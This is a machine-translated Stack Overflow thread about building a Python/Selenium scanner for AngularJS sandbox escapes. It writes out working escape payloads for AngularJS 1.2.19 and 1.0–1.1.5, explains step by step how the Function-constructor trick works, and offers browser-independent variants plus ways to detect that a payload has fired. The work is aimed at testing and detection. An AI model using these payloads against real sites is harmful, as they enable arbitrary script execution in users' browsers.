PhantomJS / WebKit中

时间:2017-07-30 16:51:41

标签: javascript google-chrome phantomjs webkit blink

我正在使用Python构建一个应用程序,用于检查某个Web应用程序是否容易受到AngularJS Sandbox Escape / Bypass的攻击。<​​/ p>

以下是它的工作原理。

我的应用使用以下内容启动本地网络服务器(http://localhost)。

<!DOCTYPE html>
<html>
    <head>
        <script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
    </head>
    <body ng-app="">
        {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
    </body>
</html>

我使用的Sandbox Escape有效负载为{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}},由于open(1)调用,应该会打开一个新窗口。

启动Web服务器后,它使用Selenium(使用PhantomJS作为驱动程序)来检查是否由于AngularJS Sandbox Escape而打开了一个新窗口。

capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False

browser = webdriver.PhantomJS(
    executable_path="../phantomjs/win-2.1.1",
    desired_capabilities=capabilities,
)

browser.get("http://localhost/")

return len(browser.window_handles) >= 2

我面临的问题

PhantomJS无法打开新窗口。当我使用谷歌浏览器导航到http://localhost时,打开一个新窗口。

以下是PhantomJS控制台日志(包含两个错误):

[
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    },
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    }
]

这是Google Chrome控制台日志(抛出错误但会打开一个新窗口):

Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
    at angular.js:36
    at Object.r (angular.js:8756)
    at k.$digest (angular.js:12426)
    at k.$apply (angular.js:12699)
    at angular.js:1418
    at Object.d [as invoke] (angular.js:3917)
    at c (angular.js:1416)
    at cc (angular.js:1430)
    at Xc (angular.js:1343)
    at angular.js:21773

其他一些AngularJS Sandbox Escape有效负载可以正常运行。例如,下面的有效负载(对于AngularJS版本1.0.0到1.1.5)在Chrome和PhantomJS中打开一个新窗口。

{{constructor.constructor('open(1)')()}}

我希望有人能够帮我解决这个问题,以便我能够检测到有效负载是否成功执行。

请注意,我使用open(1)代替alert(1),因为无法在PhantomJS中检测到警报。

提前致谢。

更新1:

这是一个可在Google Chrome中使用的JSFiddle,但在PhantomJS中不起作用。我正在寻找一个解决方案(可能是有效载荷或PhantomJS设置的变化),以便有效载荷也在PhantomJS中触发。

https://jsfiddle.net/x90ey5fa/

更新2:

我发现它与AngularJS无关。下面的JSFiddle包含4行JavaScript,可以在Google Chrome中使用,但在PhantomJS中不起作用。我还附加了PhantomJS的控制台日志。

https://jsfiddle.net/x90ey5fa/2/

{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n  Function (undefined:1)\n  sort (:0)", 'timestamp': 1501795341539}`

版本详细信息:

Operating System: Windows 10 x64

Python version: 3.6.1

Google Chrome version: 60.0.3112.78

PhantomJS version: 2.1.1

Selenium version: 3.4.3 (installed via PIP)

2 个答案:

答案 0 :(得分:2)

你的Safari错误很有启发性(我正在努力不去仔细阅读它)。观察:

  

语法错误:在参数声明之后出现意外的标记'('。预期')'或','。

parameter declaration部分很重要。

有效载荷的作用是

  1. c设置为toString构造函数,Function(创建函数)
  2. Function原型的toString方法重定向至call
  3. 使用c对数组进行排序,从而通过Function("a", "open(1)")
  4. 创建新功能
  5. 我不确定原因,但此sort的结果已通过toString转换为字符串,已被重定向到call,导致调用新函数,致电open(1)
  6. 无论如何,这就是它在Chrome中的运作方式。但是.sort()并不一定在所有浏览器中以相同的方式工作。它只是应该对事物进行排序......那么为什么它看起来项目的顺序呢?毕竟,传递的功能应该确保一切都以正确的顺序出现。

    作为MDN saysFunction的语法是

    Function ([arg1[, arg2[, ...argN]],] functionBody)
    

    WebKit正在“向后”对其进行排序,因此它不会调用Function("a", "open(1)"),而是调用Function("open(1)", "a")。当给出多个参数时,最后一个被假定为函数体,所有其余参数被解释为参数。这就是你获得意外令牌的原因。括号不是参数名称的有效部分。

    这是另一种选择:

    c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)
    

    我在基于QtWebKit的浏览器中对它进行了测试,但它确实有效。当然它也会在Chrome上引起一个SyntaxError,因为参数是“向后”......

    以下是在PhantomJS和Chrome上使用Angular无缝工作的几次尝试。再一次,这些都不起作用。我将这些留在这里,以防他们激励某人创建更完整的解决方案。

    适用于PhantomJS和Chrome,但不适用于Angular(由于function):

    [1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)
    

    适用于Chrome上的Angular,但不适用于PhantomJS:

    c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)
    

答案 1 :(得分:0)

您可以通过多种方式完成此操作。仅举几例:

您可以创建(或删除)HTML元素并在Selenium中检测它。

此外,您可以执行console.log并使用此Is there a way to view PhantomJS console.log messages via Selenium/GhostDriver?

进行检测

另一种方法是调用PhantomJS function,它将直接通过幻影实例通知你想要的任何有效负载(只要有效负载是 JSON.stringifable )。

从未使用Selenium,因此不知道您是否可以访问PhantomJS /页面实例。如果Selenium允许你这样做,你可以这样做:

phantomjs.page.onCallback = function(data) {
    console.log('CALLBACK: ' + JSON.stringify(data));
};

在您的网页中:

{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","window.callPhantom && window.callPhantom('YAY!')"].sort(c)}}

例如,只要您可以运行所需的JavaScript代码,就可以做任何您能想到的事情。

这样做的一个简单方法就是采用反向模式&#34;。